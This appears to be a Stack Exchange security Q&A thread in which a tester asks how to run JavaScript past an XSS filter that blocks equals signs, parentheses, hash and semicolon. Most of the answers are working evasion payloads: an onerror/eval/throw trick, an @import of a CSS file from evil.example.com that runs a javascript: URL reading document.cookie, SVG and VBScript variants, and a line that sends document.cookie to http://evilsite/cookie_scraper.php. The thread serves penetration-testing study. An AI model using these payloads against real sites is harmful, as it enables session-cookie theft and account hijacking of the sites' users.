22

I'm testing a web application and I found a XSS vulnerability. I can break a tag and inject some code to the application but nothing potentialy dangerous for the client.

The application has a filter wich detects special characters and some strings, as well I can bypass the filter for the string recognition injecting null values (< scr%00ipt> ) between its chars, but I can't figure out how to bypass it for a single character.

Allowed chars: :  / & @ - { } < > \ . , ' "
Disallowed chars: = ( ) # ;

The filter does not use character conversion and when something disallowed is detected it displays an error message: Invalid Parameters detected

Maybe I'm missing something but today I don't see how to execute javascript under this conditions. Any idea?

Improve this question
3
  • Have you tried encoding the brackets? – Lucas Kauffman May 29 '13 at 14:05
  • Yes but %28 or %29 is also detected and &#xXX is not valid because # is not an allowed character. – Nucklear May 29 '13 at 14:16
  • I updated my post. – rook May 31 '13 at 14:53
23

Yes, this is possible. There's a trick you can do with onerror:

<img src=x onerror=eval;throw'=alert\x281\x29';>

The throw generates a JavaScript string which is then passed back into eval because the throw constitutes an error. This gives you full arbitrary JavaScript injection.

OK, so you say we can't use an equals sign. Instead, I suggest this trick:

"><style>@import'http://evil.example.com/xss.css';</style>

This includes a 3rd party CSS file into the page. From there you can launch JavaScript:

body {
    background-image: url('javascript:alert(document.cookie);')
}

There are also other tricks you can use to gain JavaScript execution from CSS.

Improve this answer
12
  • 1
    As I said to Rook, the equal character is also filtered so I cant use this method, there is a list of allowed characters in the question. – Nucklear May 29 '13 at 14:20
  • @Nucklear Did you edit? I don't remember seeing the equals sign the first time around... – Polynomial May 29 '13 at 14:22
  • I didn't. Also OT, I'm trying to inyect through CSS but I can't do it without the disallowed characters... – Nucklear May 29 '13 at 14:27
  • @Nucklear I've added a second method using off-site CSS, with no = or parenths. – Polynomial May 29 '13 at 14:28
  • 1
    @Nucklear There are no parentheses in the injected code. The CSS file is stored on a 3rd party site and will therefore not be subject to the WAF filters. The bottom code I showed was meant to be the contents of xss.css – Polynomial May 29 '13 at 14:35
19

Blocking parenthesis is strange, I am not aware of any attack that this prevents. XSS without parenthesis is possible.

For browsers that support svg:

<svg>
    <script>alert&#40/1/.source&#41</script>
</svg>

If you just want a simple PoC then this should work:

<script>onerror=alert;throw 1;</script>

But a real world exploit doesn't require parenthesis:

document.location='http://evilsite/cookie_scraper.php?cookie='+document.cookie
Improve this answer
5
  • Hi @Rook, thanks for the response but I already tried this, the problem is that the equals symbol is also filtered and it doesn't work. – Nucklear May 29 '13 at 14:13
  • @Rook, you seem to know a ton on security issues. Just wondering... how old are you btw? – Pacerier Jan 31 '14 at 6:06
  • 1
    For the POC, the throw 1 works, but why is the alert there? It doesn't seem to do anything. – gsingh2011 Sep 26 '15 at 5:19
  • the PoC should actually look like this: <script>onerror=alert;throw 1;</script>. you're registering alert as a global error-callback and then throw an error (causing alert to be called) – TomTasche Mar 27 '17 at 12:50
  • @TomTasche ah, that makes sense, thanks for the explanation, updated. – rook Mar 27 '17 at 17:38
2

Simple trick with VBScript: <input onfocus=vbs:msgbox+1> [works in IE]

Improve this answer
0

How about if all the special characters are filtered out. I am testing a site which does not allow to enter special chars to be entered in search bar.

Improve this answer

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.